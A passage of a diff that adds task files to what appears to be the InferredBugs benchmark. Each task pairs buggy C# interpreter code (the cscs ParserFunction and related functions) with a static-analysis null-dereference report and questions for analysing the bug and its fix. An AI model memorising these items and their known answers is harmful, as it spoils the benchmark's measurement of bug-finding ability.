+      string varName = Utils.GetToken(script, Constants.END_ARG_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref varName);
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Variable element = currentValue;
+
+      // 2b. Special case for an array.
+      if (arrayIndices.Count > 0) {// array element
+        element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+      }
+
+      // 3. Convert type to string.
+      string type = Constants.TypeToString(element.Type);
+      script.MoveForwardIf (Constants.END_ARG, Constants.SPACE);
+
+      Variable newValue = new Variable(type);
+      return newValue;
+    }
+  }
+
+  class SizeFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.END_ARG_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      List<Variable> arrayIndices = Utils.GetArrayIndices(ref varName);
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Variable element = currentValue;
+
+      // 2b. Special case for an array.
+      if (arrayIndices.Count > 0) {// array element
+        element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+      }
+
+      // 3. Take either the length of the underlying tuple or
+      // string part if it is defined,
+      // or the numerical part converted to a string otherwise.
+      int size = element.Type == Variable.VarType.ARRAY ?
+                        element.Tuple.Count :
+                        element.AsString().Length;
+
+      script.MoveForwardIf(Constants.END_ARG, Constants.SPACE);
+
+      Variable newValue = new Variable(size);
+      return newValue;
+    }
+  }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `all` last assigned on line 2619 could be null and is dereferenced at line 2626, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Variable TokenCounterFunction.Evaluate(ParsingScript)
+
+### File:
+cscs/Functions.Flow.cs
+
+### Key:
+Functions.Flow.cs|Evaluate|NULL_DEREFERENCE
+
+### Node Key:
+bef2fe14012af516d6c7bc5d1bd471c5
+
+### Hash:
+b0f56c2b42f5b0422f61218dea743349
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1877/instruction.md b/inferredbugs-1877/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e4947c709daf403334db0a73a73d965acb5dbbb6
--- /dev/null
+++ b/inferredbugs-1877/instruction.md
@@ -0,0 +1,959 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** cscs
+**Bug ID:** 87
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace SplitAndMerge
+{
+    public class ParserFunction
+    {
+        public static Action<string, Variable, bool> OnVariableChange;
+
+        public ParserFunction()
+        {
+            m_impl = this;
+        }
+
+        // A "virtual" Constructor
+        public ParserFunction(ParsingScript script, string item, char ch, ref string action)
+        {
+            if (item.Length == 0 && (ch == Constants.START_ARG || !script.StillValid()))
+            {
+                // There is no function, just an expression in parentheses
+                m_impl = s_idFunction;
+                return;
+            }
+            if (item.Length > 1 &&
+              ((item[0] == Constants.QUOTE  && item[item.Length - 1] == Constants.QUOTE) ||
+               (item[0] == Constants.QUOTE1 && item[item.Length - 1] == Constants.QUOTE1)))
+            {
+                // We are dealing with a string.
+                s_strOrNumFunction.Item = item;
+                m_impl = s_strOrNumFunction;
+                return;
+            }
+
+            item = Constants.ConvertName(item);
+
+            m_impl = GetRegisteredAction(item, ref action);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            m_impl = GetArrayFunction(item, script, action);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            m_impl = GetObjectFunction(item, script);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            m_impl = GetVariable(item, script);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            if (m_impl == s_strOrNumFunction && string.IsNullOrWhiteSpace(item))
+            {
+                string problem = (!string.IsNullOrWhiteSpace(action) ? action : ch.ToString());
+                string restData = ch.ToString() + script.Rest;
+                throw new ArgumentException("Couldn't parse [" + problem + "] in " + restData + "...");
+            }
+
+            // Function not found, will try to parse this as a string in quotes or a number.
+            s_strOrNumFunction.Item = item;
+            m_impl = s_strOrNumFunction;
+        }
+
+        static ParserFunction GetArrayFunction(string name, ParsingScript script, string action)
+        {
+            int arrayStart = name.IndexOf(Constants.START_ARRAY);
+            if (arrayStart < 0)
+            {
+                return null;
+            }
+
+            string arrayName = name;
+
+            int delta = 0;
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, arrayName, delta, (string arr, int del) => { arrayName = arr; delta = del; });
+
+            if (arrayIndices.Count == 0)
+            {
+                return null;
+            }
+
+            ParserFunction pf = ParserFunction.GetVariable(arrayName, script);
+            GetVarFunction varFunc = pf as GetVarFunction;
+            if (varFunc == null)
+            {
+                return null;
+            }
+
+            // we temporarily backtrack for the processing
+            script.Backward(name.Length - arrayStart - 1);
+            script.Backward(action != null ? action.Length : 0);
+            // delta shows us how manxy chars we need to advance forward in GetVarFunction()
+            delta -= arrayName.Length;
+            delta += action != null ? action.Length : 0;
+
+            varFunc.Indices = arrayIndices;
+            varFunc.Delta = delta;
+            return varFunc;
+        }
+
+        static ParserFunction GetObjectFunction(string name, ParsingScript script)
+        {
+            if (script.CurrentClass != null && script.CurrentClass.Name == name)
+            {
+                script.Backward(name.Length + 1);
+                return new FunctionCreator();
+            }
+            if (script.ClassInstance != null &&
+               (script.ClassInstance.PropertyExists(name) || script.ClassInstance.FunctionExists(name)))
+            {
+                name = script.ClassInstance.InstanceName + "." + name;
+            }
+            //int ind = name.LastIndexOf('.');
+            int ind = name.IndexOf('.');
+            if (ind <= 0)
+            {
+                return null;
+            }
+            string baseName = name.Substring(0, ind);
+            if (s_namespaces.ContainsKey(baseName))
+            {
+                int ind2 = name.IndexOf('.', ind + 1);
+                if (ind2 > 0)
+                {
+                    ind = ind2;
+                    baseName = name.Substring(0, ind);
+                }
+            }
+
+            string prop = name.Substring(ind + 1);
+
+            ParserFunction pf = ParserFunction.GetFromNamespace(prop, baseName, script);
+            if (pf != null)
+            {
+                return pf;
+            }
+
+            pf = ParserFunction.GetVariable(baseName, script, true);
+            if (pf == null || !(pf is GetVarFunction))
+            {
+                pf = ParserFunction.GetFunction(baseName, script);
+                if (pf == null)
+                {
+                    pf = Utils.ExtractArrayElement(baseName);
+                }
+            }
+
+            GetVarFunction varFunc = pf as GetVarFunction;
+            if (varFunc == null)
+            {
+                return null;
+            }
+
+            varFunc.PropertyName = prop;
+            return varFunc;
+        }
+
+        static ParserFunction GetRegisteredAction(string name, ref string action)
+        {
+            ActionFunction actionFunction = GetAction(action);
+
+            // If passed action exists and is registered we are done.
+            if (actionFunction == null)
+            {
+                return null;
+            }
+
+            ActionFunction theAction = actionFunction.NewInstance() as ActionFunction;
+            theAction.Name = name;
+            theAction.Action = action;
+
+            action = null;
+            return theAction;
+        }
+
+        public static bool TryAddToNamespace(string name, string nameSpace, Variable varValue)
+        {
+            StackLevel level;
+            if (string.IsNullOrWhiteSpace(nameSpace) ||
+               !s_namespaces.TryGetValue(nameSpace, out level))
+            {
+                return false;
+            }
+
+            var vars = level.Variables;
+            vars[name] = new GetVarFunction(varValue);
+
+            return true;
+        }
+
+        public static ParserFunction GetFromNamespace(string name, ParsingScript script)
+        {
+            ParserFunction result = GetFromNamespace(name, s_namespace, script);
+            return result;
+        }
+
+        public static ParserFunction GetFromNamespace(string name, string nameSpace, ParsingScript script)
+        {
+            if (string.IsNullOrWhiteSpace(nameSpace))
+            {
+                return null;
+            }
+
+            int ind = nameSpace.IndexOf('.');
+            string prop = "";
+            if (ind >= 0)
+            {
+                prop      = name; 
+                name      = nameSpace.Substring(ind + 1);
+                nameSpace = nameSpace.Substring(0, ind);
+            }
+
+            StackLevel level;
+            if  (!s_namespaces.TryGetValue(nameSpace, out level))
+            {
+                return null;
+            }
+
+            if (!name.StartsWith(nameSpace, StringComparison.OrdinalIgnoreCase))
+            {
+                name = nameSpace + "." + name;
+            }
+
+            var vars = level.Variables;
+            ParserFunction impl;
+            if (!vars.TryGetValue(name, out impl) &&
+                !s_variables.TryGetValue(name, out impl) &&
+                !s_functions.TryGetValue(name, out impl)
+                )
+            {
+                return null;
+            }
+
+            if (!string.IsNullOrWhiteSpace(prop) &&  impl is GetVarFunction)
+            {
+                ((GetVarFunction) impl).PropertyName = prop;
+            }
+            return impl;
+        }
+
+        public static ParserFunction GetVariable(string name, ParsingScript script, bool force = false)
+        {
+            if (!force && script.TryPrev() == Constants.START_ARG)
+            {
+                return GetFunction(name, script);
+            }
+            name = Constants.ConvertName(name);
+            ParserFunction impl;
+            StackLevel localStack = script.StackLevel != null ? script.StackLevel : s_locals.Count > StackLevelDelta ? s_lastExecutionLevel : null;
+            if (localStack != null)
+            {
+                Dictionary<string, ParserFunction> local = localStack.Variables;
+                if (local.TryGetValue(name, out impl))
+                {
+                    return impl;
+                }
+            }
+
+            string scopeName = script == null || script.Filename == null ? "" : script.Filename;
+            impl = GetLocalScopeVariable(name, scopeName);
+            if (impl != null)
+            {
+                return impl;
+            }
+
+            if (s_variables.TryGetValue(name, out impl))
+            {
+                return impl.NewInstance();
+            }
+
+            return GetFunction(name, script);
+        }
+
+        public static ParserFunction GetFunction(string name, ParsingScript script)
+        {
+            name = Constants.ConvertName(name);
+            ParserFunction impl;
+
+            if (s_functions.TryGetValue(name, out impl))
+            {
+                // Global function exists and is registered (e.g. pi, exp, or a variable)
+                return impl.NewInstance();
+            }
+
+            return GetFromNamespace(name, script);
+        }
+
+        public static void UpdateFunction(Variable variable)
+        {
+            UpdateFunction(variable.ParsingToken, new GetVarFunction(variable));
+        }
+        public static void UpdateFunction(string name, ParserFunction function)
+        {
+            name = Constants.ConvertName(name);
+            lock (s_variables)
+            {
+                // First search among local variables.
+                if (s_lastExecutionLevel != null && s_locals.Count > StackLevelDelta)
+                {
+                    Dictionary<string, ParserFunction> local = s_lastExecutionLevel.Variables;
+
+                    if (local.ContainsKey(name))
+                    {
+                        // Local function exists (a local variable)
+                        local[name] = function;
+                        return;
+                    }
+                }
+            }
+            // If it's not a local variable, update global.
+            s_variables[name] = function;
+        }
+        public static ActionFunction GetAction(string action)
+        {
+            if (string.IsNullOrWhiteSpace(action))
+            {
+                return null;
+            }
+
+            ActionFunction impl;
+            if (s_actions.TryGetValue(action, out impl))
+            {
+                // Action exists and is registered (e.g. =, +=, --, etc.)
+                return impl;
+            }
+
+            return null;
+        }
+
+        public static bool FunctionExists(string item)
+        {
+            // If it is not defined locally, then check globally:
+            return LocalNameExists(item) || GlobalNameExists(item);
+        }
+
+        public static void AddGlobalOrLocalVariable(string name, GetVarFunction function, ParsingScript script = null)
+        {
+            name          = Constants.ConvertName(name);
+
+            Dictionary<string, ParserFunction> lastLevel = GetLastLevel();
+            if (lastLevel != null && s_lastExecutionLevel.IsNamespace && !string.IsNullOrWhiteSpace(s_namespace))
+            {
+                name = s_namespacePrefix + name;
+            }
+
+            function.Name = Constants.GetRealName(name);
+            function.Value.ParamName = function.Name;
+            if (script != null && script.StackLevel != null && !GlobalNameExists(name))
+            {
+                script.StackLevel.Variables[name] = function;
+                var handle = OnVariableChange;
+                if (handle != null)
+                {
+                    handle.Invoke(function.Name, function.Value, false);
+                }
+            }
+            else if (s_locals.Count > StackLevelDelta && (LocalNameExists(name) || !GlobalNameExists(name)))
+            {
+                AddLocalVariable(function);
+            }
+            else
+            {
+                AddGlobal(name, function, false /* not native */);
+            }
+        }
+
+        static string CreateVariableEntry(Variable var, string name, bool isLocal = false)
+        {
+            try
+            {
+                string value = var.AsString(true, true, 16);
+                string localGlobal = isLocal ? "0" : "1";
+                string varData = name + ":" + localGlobal + ":" +
+                                 Constants.TypeToString(var.Type).ToLower() + ":" + value;
+                return varData.Trim();
+            }
+            catch(Exception exc)
+            {
+                // TODO: Clean up not used objects.
+                bool removed = isLocal ? PopLocalVariable(name) : RemoveGlobal(name);
+                Console.WriteLine("Object {0} is probably dead ({1}): {2}. Removing it.", name, removed, exc);
+                return null;
+            }
+        }
+
+        static void GetVariables(Dictionary<string, ParserFunction> variablesScope,
+                                 StringBuilder sb, bool isLocal = false)
+        {
+            var all = variablesScope.Values.ToList();
+            for (int i = 0; i < all.Count; i++)
+            {
+                var variable = all[i];
+                GetVarFunction gvf = variable as GetVarFunction;
+                if (gvf == null || string.IsNullOrWhiteSpace(variable.Name))
+                {
+                    continue;
+                }
+
+                string varData = CreateVariableEntry(gvf.Value, variable.Name, isLocal);
+                if (!string.IsNullOrWhiteSpace(varData))
+                {
+                    sb.AppendLine(varData);
+                    if (gvf.Value.Type == Variable.VarType.OBJECT)
+                    {
+                        var props = gvf.Value.GetProperties();
+                        foreach (Variable var in props)
+                        {
+                            var val = gvf.Value.GetProperty(var.AsString());
+                            varData = CreateVariableEntry(val, variable.Name + "." + var.AsString(), isLocal);
+                            if (!string.IsNullOrWhiteSpace(varData))
+                            {
+                                sb.AppendLine(varData);
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        public static string GetVariables(ParsingScript script)
+        {
+            StringBuilder sb = new StringBuilder();
+            // Locals, if any:
+            if (s_lastExecutionLevel != null)
+            {
+                Dictionary<string, ParserFunction> locals = s_lastExecutionLevel.Variables;
+                GetVariables(locals, sb, true);
+            }
+
+            // Variables in the local file scope:
+            if (script != null && script.Filename != null)
+            {
+                Dictionary<string, ParserFunction> localScope;
+                string scopeName = Path.GetFileName(script.Filename);
+                if (s_localScope.TryGetValue(scopeName, out localScope))
+                {
+                    GetVariables(localScope, sb, true);
+                }
+            }
+
+            // Globals:
+            GetVariables(s_variables, sb, false);
+
+            return sb.ToString().Trim();
+        }
+
+        static Dictionary<string, ParserFunction> GetLastLevel()
+        {
+            lock (s_variables)
+            {
+                if (s_lastExecutionLevel == null || s_locals.Count <= StackLevelDelta)
+                {
+                    return null;
+                }
+                var result = s_lastExecutionLevel.Variables;
+                return result;
+            }
+        }
+
+        static bool LocalNameExists(string name)
+        {
+            Dictionary<string, ParserFunction> lastLevel = GetLastLevel();
+            if (lastLevel == null)
+            {
+                return false;
+            }
+            name = Constants.ConvertName(name);
+            return lastLevel.ContainsKey(name);
+        }
+
+        static bool GlobalNameExists(string name)
+        {
+            name = Constants.ConvertName(name);
+            return s_variables.ContainsKey(name) || s_functions.ContainsKey(name);
+        }
+
+        public static Variable RegisterEnum(string varName, string enumName)
+        {
+            Variable enumVar = EnumFunction.UseExistingEnum(enumName);
+            if (enumVar == Variable.EmptyInstance)
+            {
+                return enumVar;
+            }
+
+            RegisterFunction(varName, new GetVarFunction(enumVar));
+            return enumVar;
+        }
+
+        public static void RegisterFunction(string name, ParserFunction function,
+                                            bool isNative = true)
+        {
+            name = Constants.ConvertName(name);
+            function.Name = Constants.GetRealName(name);
+
+            if (!string.IsNullOrWhiteSpace(s_namespace))
+            {
+                StackLevel level;
+                if (s_namespaces.TryGetValue(s_namespace, out level) &&
+                   function is CustomFunction)
+                {
+                    ((CustomFunction)function).NamespaceData = level;
+                    name = s_namespacePrefix + name;
+                }
+            }
+
+            s_functions[name] = function;
+            function.isNative = isNative;
+        }
+
+        public static bool RemoveGlobal(string name)
+        {
+            name = Constants.ConvertName(name);
+            return s_variables.Remove(name);
+        }
+
+        static void NormalizeValue(ParserFunction function)
+        {
+            GetVarFunction gvf = function as GetVarFunction;
+            if (gvf != null)
+            {
+                gvf.Value.CurrentAssign = "";
+            }
+        }
+
+        public static void AddGlobal(string name, ParserFunction function,
+                                     bool isNative = true)
+        {
+            name = Constants.ConvertName(name);
+            NormalizeValue(function);
+            function.isNative = isNative;
+            s_variables[name] = function;
+
+            function.Name = Constants.GetRealName(name);
+#if UNITY_EDITOR == false && UNITY_STANDALONE == false && __ANDROID__ == false && __IOS__ == false
+            if (!isNative)
+            {
+                Translation.AddTempKeyword(name);
+            }
+#endif
+            var handle = OnVariableChange;
+            if (handle != null && function is GetVarFunction)
+            {
+                handle.Invoke(function.Name, ((GetVarFunction)function).Value, true);
+            }
+        }
+
+        public static void AddLocalScopeVariable(string name, string scopeName, ParserFunction variable)
+        {
+            name = Constants.ConvertName(name);
+            variable.isNative = false;
+            variable.Name = Constants.GetRealName(name);
+            if (variable is GetVarFunction)
+            {
+                ((GetVarFunction)variable).Value.ParamName = variable.Name;
+            }
+
+            if (scopeName == null)
+            {
+                scopeName = "";
+            }
+
+            Dictionary<string, ParserFunction> localScope;
+            if (!s_localScope.TryGetValue(scopeName, out localScope))
+            {
+                localScope = new Dictionary<string, ParserFunction>();
+            }
+            localScope[name] = variable;
+            s_localScope[scopeName] = localScope;
+        }
+
+        static ParserFunction GetLocalScopeVariable(string name, string scopeName)
+        {
+            scopeName = Path.GetFileName(scopeName);
+            Dictionary<string, ParserFunction> localScope;
+            if (!s_localScope.TryGetValue(scopeName, out localScope))
+            {
+                return null;
+            }
+
+            name = Constants.ConvertName(name);
+            ParserFunction function = null;
+            localScope.TryGetValue(name, out function);
+            return function;
+        }
+
+        public static void AddAction(string name, ActionFunction action)
+        {
+            s_actions[name] = action;
+        }
+
+        public static void AddLocalVariables(StackLevel locals)
+        {
+            lock (s_variables)
+            {
+                s_locals.Push(locals);
+                s_lastExecutionLevel = locals;
+            }
+        }
+
+        public static void AddNamespace(string namespaceName)
+        {
+            namespaceName = Constants.ConvertName(namespaceName);
+            if (!string.IsNullOrWhiteSpace(s_namespace))
+            {
+                throw new ArgumentException("Already inside of namespace [" + s_namespace + "].");
+            }
+
+            StackLevel level;
+            if (!s_namespaces.TryGetValue(namespaceName, out level))
+            {
+                level = new StackLevel(namespaceName, true); ;
+            }
+
+            lock (s_variables)
+            {
+                s_locals.Push(level);
+                s_lastExecutionLevel = level;
+            }
+
+            s_namespaces[namespaceName] = level;
+
+            s_namespace = namespaceName;
+            s_namespacePrefix = namespaceName + ".";
+        }
+
+        public static void PopNamespace()
+        {
+            s_namespace = s_namespacePrefix = "";
+            lock (s_variables)
+            {
+                while (s_locals.Count > 0)
+                {
+                    var level = s_locals.Pop();
+                    s_lastExecutionLevel = s_locals.Count == 0 ? null : s_locals.Peek();
+                    if (level.IsNamespace)
+                    {
+                        return;
+                    }
+                }
+            }
+        }
+
+        public static string AdjustWithNamespace(string name)
+        {
+            name = Constants.ConvertName(name);
+            return s_namespacePrefix + name;
+        }
+
+        public static StackLevel AddStackLevel(string scopeName)
+        {
+            lock (s_variables)
+            {
+                s_locals.Push(new StackLevel(scopeName));
+                s_lastExecutionLevel = s_locals.Peek();
+                return s_lastExecutionLevel;
+            }
+        }
+
+        public static void AddLocalVariable(ParserFunction local, string varName = "")
+        {
+            NormalizeValue(local);
+            local.m_isGlobal = false;
+
+            lock (s_variables)
+            {
+
+                if (s_lastExecutionLevel == null)
+                {
+                    s_lastExecutionLevel = new StackLevel();
+                    s_locals.Push(s_lastExecutionLevel);
+                }
+            }
+
+            var name = Constants.ConvertName(string.IsNullOrWhiteSpace(varName) ? local.Name : varName);
+            local.Name = Constants.GetRealName(name);
+            if (local is GetVarFunction)
+            {
+                ((GetVarFunction)local).Value.ParamName = local.Name;
+            }
+            s_lastExecutionLevel.Variables[name] = local;
+#if UNITY_EDITOR == false && UNITY_STANDALONE == false && __ANDROID__ == false && __IOS__ == false
+            Translation.AddTempKeyword(name);
+#endif
+            var handle = OnVariableChange;
+            if (handle != null && local is GetVarFunction)
+            {
+                handle.Invoke(local.Name, ((GetVarFunction)local).Value, false);
+            }
+        }
+
+        public static void PopLocalVariables(int id)
+        {
+            lock (s_variables)
+            {
+                if (s_lastExecutionLevel == null)
+                {
+                    return;
+                }
+                if (id < 0 || s_lastExecutionLevel.Id == id)
+                {
+                    s_locals.Pop();
+                    s_lastExecutionLevel = s_locals.Count == 0 ? null : s_locals.Peek();
+                    return;
+                }
+
+                var array = s_locals.ToArray();
+                for (int i = 1; i < array.Length; i++)
+                {
+                    var stack = array[i];
+                    if (stack.Id == id)
+                    {
+                        for (int j = 0; j < i + 1 && s_locals.Count > 0; j++)
+                        {
+                            s_locals.Pop();
+                        }
+                        for (int j = 0; j < i; j++)
+                        {
+                            s_locals.Push(array[j]);
+                        }
+                        s_lastExecutionLevel = s_locals.Peek();
+                        return;
+                    }
+                }
+            }
+        }
+
+        public static int GetCurrentStackLevel()
+        {
+            lock (s_variables)
+            {
+                return s_locals.Count;
+            }
+        }
+
+        public static void InvalidateStacksAfterLevel(int level)
+        {
+            lock (s_variables)
+            {
+                while (level >= 0 && s_locals.Count > level)
+                {
+                    s_locals.Pop();
+                }
+                s_lastExecutionLevel = s_locals.Count == 0 ? null : s_locals.Peek();
+            }
+        }
+
+        public static bool PopLocalVariable(string name)
+        {
+            if (s_lastExecutionLevel == null)
+            {
+                return false;
+            }
+            Dictionary<string, ParserFunction> locals = s_lastExecutionLevel.Variables;
+            name = Constants.ConvertName(name);
+            return locals.Remove(name);
+        }
+
+        public Variable GetValue(ParsingScript script)
+        {
+            return m_impl.Evaluate(script);
+        }
+
+        public async Task<Variable> GetValueAsync(ParsingScript script)
+        {
+            return await m_impl.EvaluateAsync(script);
+        }
+
+        protected virtual Variable Evaluate(ParsingScript script)
+        {
+            // The real implementation will be in the derived classes.
+            return new Variable();
+        }
+
+        protected virtual Task<Variable> EvaluateAsync(ParsingScript script)
+        {
+            // If not overriden, the non-sync version will be called.
+            return Task.FromResult( Evaluate(script) );
+        }
+
+        // Derived classes may want to return a new instance in order to
+        // not to use same object in calculations.
+        public virtual ParserFunction NewInstance()
+        {
+            return this;
+        }
+
+        public static void CleanUp()
+        {
+            s_functions.Clear();
+            s_actions.Clear();
+            CleanUpVariables();
+        }
+
+        public static void CleanUpVariables()
+        {
+            s_variables.Clear();
+            s_locals.Clear();
+            s_localScope.Clear();
+            s_namespaces.Clear();
+            s_namespace = s_namespacePrefix = "";
+            CompiledClass.Init();
+        }
+
+        protected string m_name;
+        public string Name
+        {
+            get { return m_name; }
+            set { m_name = value; }
+        }
+
+        protected bool m_isGlobal = true;
+        public bool isGlobal { get { return m_isGlobal; } set { m_isGlobal = value; } }
+
+        protected bool m_isNative = true;
+        public bool isNative { get { return m_isNative; } set { m_isNative = value; } }
+
+        ParserFunction m_impl;
+
+        // Global functions:
+        static Dictionary<string, ParserFunction> s_functions = new Dictionary<string, ParserFunction>();
+
+        // Global variables:
+        static Dictionary<string, ParserFunction> s_variables = new Dictionary<string, ParserFunction>();
+
+        // Global actions to functions map:
+        static Dictionary<string, ActionFunction> s_actions = new Dictionary<string, ActionFunction>();
+
+        // Local scope variables:
+        static Dictionary<string, Dictionary<string, ParserFunction>> s_localScope =
+           new Dictionary<string, Dictionary<string, ParserFunction>>();
+
+        public static bool IsNumericFunction(string paramName, ParsingScript script = null)
+        {
+            ParserFunction function = ParserFunction.GetFunction(paramName, script);
+            return function is INumericFunction;
+        }
+
+        public class StackLevel
+        {
+            static int s_id;
+
+            public StackLevel(string name = null, bool isNamespace = false)
+            {
+                Id = ++s_id;
+                Name = name;
+                IsNamespace = isNamespace;
+                Variables = new Dictionary<string, ParserFunction>();
+            }
+
+            public string Name { get; private set; }
+            public bool IsNamespace { get; private set; }
+            public int Id { get; private set; }
+
+            public Dictionary<string, ParserFunction> Variables { get; set; }
+        }
+
+        // Local variables:
+        // Stack of the functions being executed:
+        static Stack<StackLevel> s_locals = new Stack<StackLevel>();
+        public static Stack<StackLevel> ExecutionStack { get { return s_locals; } }
+
+        static StackLevel s_lastExecutionLevel;
+
+        static Dictionary<string, StackLevel> s_namespaces = new Dictionary<string, StackLevel>();
+        static string s_namespace;
+        static string s_namespacePrefix;
+
+        public static string GetCurrentNamespace { get { return s_namespace; } }
+
+        static StringOrNumberFunction s_strOrNumFunction =
+          new StringOrNumberFunction();
+        static IdentityFunction s_idFunction =
+          new IdentityFunction();
+
+        public static int StackLevelDelta { get; set; }
+    }
+
+    public abstract class ActionFunction : ParserFunction
+    {
+        protected string m_action;
+        public string Action { set { m_action = value; } }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `name` last assigned on line 353 could be null and is dereferenced by call to `GetRealName(...)` at line 361, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ParserFunction.AddGlobalOrLocalVariable(String,GetVarFunction,ParsingScript)
+
+### File:
+cscs/ParserFunction.cs
+
+### Key:
+ParserFunction.cs|AddGlobalOrLocalVariable|NULL_DEREFERENCE
+
+### Node Key:
+840c96a3a061419c9a8b9b3c75aa5d7b
+
+### Hash:
+eb44eb92ddc4fb4a3bd3cf3e55fb489c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1879/instruction.md b/inferredbugs-1879/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..42bdeb40a01e589be683bd23a554d19c4c2de38e
--- /dev/null
+++ b/inferredbugs-1879/instruction.md
@@ -0,0 +1,858 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** cscs
+**Bug ID:** 74
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading.Tasks;
+
+namespace SplitAndMerge
+{
+    public class ParserFunction
+    {
+        public ParserFunction()
+        {
+            m_impl = this;
+        }
+
+        // A "virtual" Constructor
+        internal ParserFunction(ParsingScript script, string item, char ch, ref string action)
+        {
+            if (item.Length == 0 && (ch == Constants.START_ARG || !script.StillValid()))
+            {
+                // There is no function, just an expression in parentheses
+                m_impl = s_idFunction;
+                return;
+            }
+            if (item.Length > 1 &&
+              ((item[0] == Constants.QUOTE  && item[item.Length - 1] == Constants.QUOTE) ||
+               (item[0] == Constants.QUOTE1 && item[item.Length - 1] == Constants.QUOTE1)))
+            {
+                // We are dealing with a string.
+                s_strOrNumFunction.Item = item;
+                m_impl = s_strOrNumFunction;
+                return;
+            }
+
+            item = Constants.ConvertName(item);
+
+            m_impl = GetRegisteredAction(item, ref action);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            m_impl = GetArrayFunction(item, script, action);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            m_impl = GetObjectFunction(item, script);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            m_impl = GetVariable(item, script);
+            if (m_impl != null)
+            {
+                return;
+            }
+
+            if (m_impl == s_strOrNumFunction && string.IsNullOrWhiteSpace(item))
+            {
+                string problem = (!string.IsNullOrWhiteSpace(action) ? action : ch.ToString());
+                string restData = ch.ToString() + script.Rest;
+                throw new ArgumentException("Couldn't parse [" + problem + "] in " + restData + "...");
+            }
+
+            // Function not found, will try to parse this as a string in quotes or a number.
+            s_strOrNumFunction.Item = item;
+            m_impl = s_strOrNumFunction;
+        }
+
+        static ParserFunction GetArrayFunction(string name, ParsingScript script, string action)
+        {
+            int arrayStart = name.IndexOf(Constants.START_ARRAY);
+            if (arrayStart < 0)
+            {
+                return null;
+            }
+
+            string arrayName = name;
+
+            int delta = 0;
+            List<Variable> arrayIndices = Utils.GetArrayIndices(script, arrayName, delta, (string arr, int del) => { arrayName = arr; delta = del; });
+
+            if (arrayIndices.Count == 0)
+            {
+                return null;
+            }
+
+            ParserFunction pf = ParserFunction.GetVariable(arrayName, script);
+            GetVarFunction varFunc = pf as GetVarFunction;
+            if (varFunc == null)
+            {
+                return null;
+            }
+
+            // we temporarily backtrack for the processing
+            script.Backward(name.Length - arrayStart - 1);
+            script.Backward(action != null ? action.Length : 0);
+            // delta shows us how manxy chars we need to advance forward in GetVarFunction()
+            delta -= arrayName.Length;
+            delta += action != null ? action.Length : 0;
+
+            varFunc.Indices = arrayIndices;
+            varFunc.Delta = delta;
+            return varFunc;
+        }
+
+        static ParserFunction GetObjectFunction(string name, ParsingScript script)
+        {
+            if (script.CurrentClass != null && script.CurrentClass.Name == name)
+            {
+                script.Backward(name.Length + 1);
+                return new FunctionCreator();
+            }
+            if (script.ClassInstance != null &&
